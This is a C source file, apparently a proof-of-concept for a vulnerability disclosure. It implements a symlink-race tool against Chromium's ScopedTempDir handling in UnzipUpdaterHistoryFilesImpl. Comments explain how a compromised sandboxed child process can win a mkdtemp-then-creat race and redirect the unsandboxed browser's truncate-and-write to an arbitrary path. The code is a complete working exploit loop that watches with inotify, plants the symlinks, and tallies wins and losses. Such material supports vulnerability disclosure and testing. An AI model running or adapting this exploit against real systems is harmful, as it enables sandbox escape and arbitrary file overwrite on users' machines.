// race.c — symlink-race tool simulating a compromised sandboxed child process.
//
// On macOS, the network/GPU/on-device-model-execution sandbox profiles grant
// `file-write*` (network.sb / on_device_model_execution.sb) or
// `file-write-create`+`file-write-unlink` (gpu.sb) on the per-user
// `_CS_DARWIN_USER_TEMP_DIR` subpath, which is the same directory that the
// browser process's NSTemporaryDirectory()-backed ScopedTempDir lands in.
// A compromised child running this loop inside its seatbelt sandbox can
// observe the browser's mkdtemp() and plant a symlink at the fixed
// `<tmpdir>/input.zip` path before the browser's `base::WriteFile()` (which
// is `creat()`, no O_NOFOLLOW/O_EXCL) opens it — redirecting the
// truncate+write to an arbitrary path the unsandboxed browser can reach.
//
// This Linux build of the tool uses inotify (the macOS analogue would be a
// tight readdir() loop or FSEvents/kqueue) to demonstrate the same
// mkdtemp-then-WriteFile TOCTOU in UnzipUpdaterHistoryFilesImpl, since the
// browser-side code path is identical on all POSIX platforms.
//
// Usage: ./race <watch_dir> <symlink_target>
//
// Watches <watch_dir> for IN_CREATE events whose name matches the Chromium
// ScopedTempDir prefix and immediately creates
//   symlink(<symlink_target>, "<watch_dir>/<new_dir>/input.zip")
//
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char** argv) {
  if (argc != 3) {
    fprintf(stderr, "usage: %s <watch_dir> <symlink_target>\n", argv[0]);
    return 1;
  }
  const char* watch_dir = argv[1];
  const char* target = argv[2];

  int ifd = inotify_init1(IN_CLOEXEC);
  if (ifd < 0) {
    perror("inotify_init1");
    return 1;
  }
  // IN_CREATE fires when mkdtemp() creates the directory. IN_ONLYDIR ensures
  // the watch is on a directory.
  int wd = inotify_add_watch(ifd, watch_dir, IN_CREATE | IN_ONLYDIR);
  if (wd < 0) {
    perror("inotify_add_watch");
    return 1;
  }
  fprintf(stderr, "[race] watching %s for ScopedTempDir creation\n", watch_dir);

  // Match both the Linux/non-branded prefix and the bare "scoped_dir" form.
  static const char* const kPrefixes[] = {
      "org.chromium.Chromium.scoped_dir",
      "com.google.Chrome.scoped_dir",
      "scoped_dir",
  };

  char buf[4096] __attribute__((aligned(__alignof__(struct inotify_event))));
  unsigned long wins = 0, losses = 0, attempts = 0;
  for (;;) {
    ssize_t n = read(ifd, buf, sizeof(buf));
    if (n <= 0) {
      if (errno == EINTR) continue;
      perror("read");
      return 1;
    }
    for (char* p = buf; p < buf + n;) {
      struct inotify_event* ev = (struct inotify_event*)p;
      p += sizeof(*ev) + ev->len;
      if (!(ev->mask & IN_CREATE) || !(ev->mask & IN_ISDIR) || ev->len == 0) {
        continue;
      }
      int matched = 0;
      for (size_t i = 0; i < sizeof(kPrefixes) / sizeof(kPrefixes[0]); i++) {
        if (strncmp(ev->name, kPrefixes[i], strlen(kPrefixes[i])) == 0) {
          matched = 1;
          break;
        }
      }
      if (!matched) continue;

      char linkpath[PATH_MAX];
      snprintf(linkpath, sizeof(linkpath), "%s/%s/input.zip", watch_dir,
               ev->name);
      attempts++;
      if (symlink(target, linkpath) == 0) {
        wins++;
        fprintf(stderr,
                "[race] WIN  #%lu: planted %s -> %s (attempts=%lu)\n",
                wins, linkpath, target, attempts);
      } else {
        // EEXIST means the browser already created the file before we ran —
        // we lost this round of the race.
        losses++;
        if (losses <= 5 || losses % 50 == 0) {
          fprintf(stderr, "[race] lost #%lu: symlink(%s): %s\n", losses,
                  linkpath, strerror(errno));
        }
      }
    }
  }
}
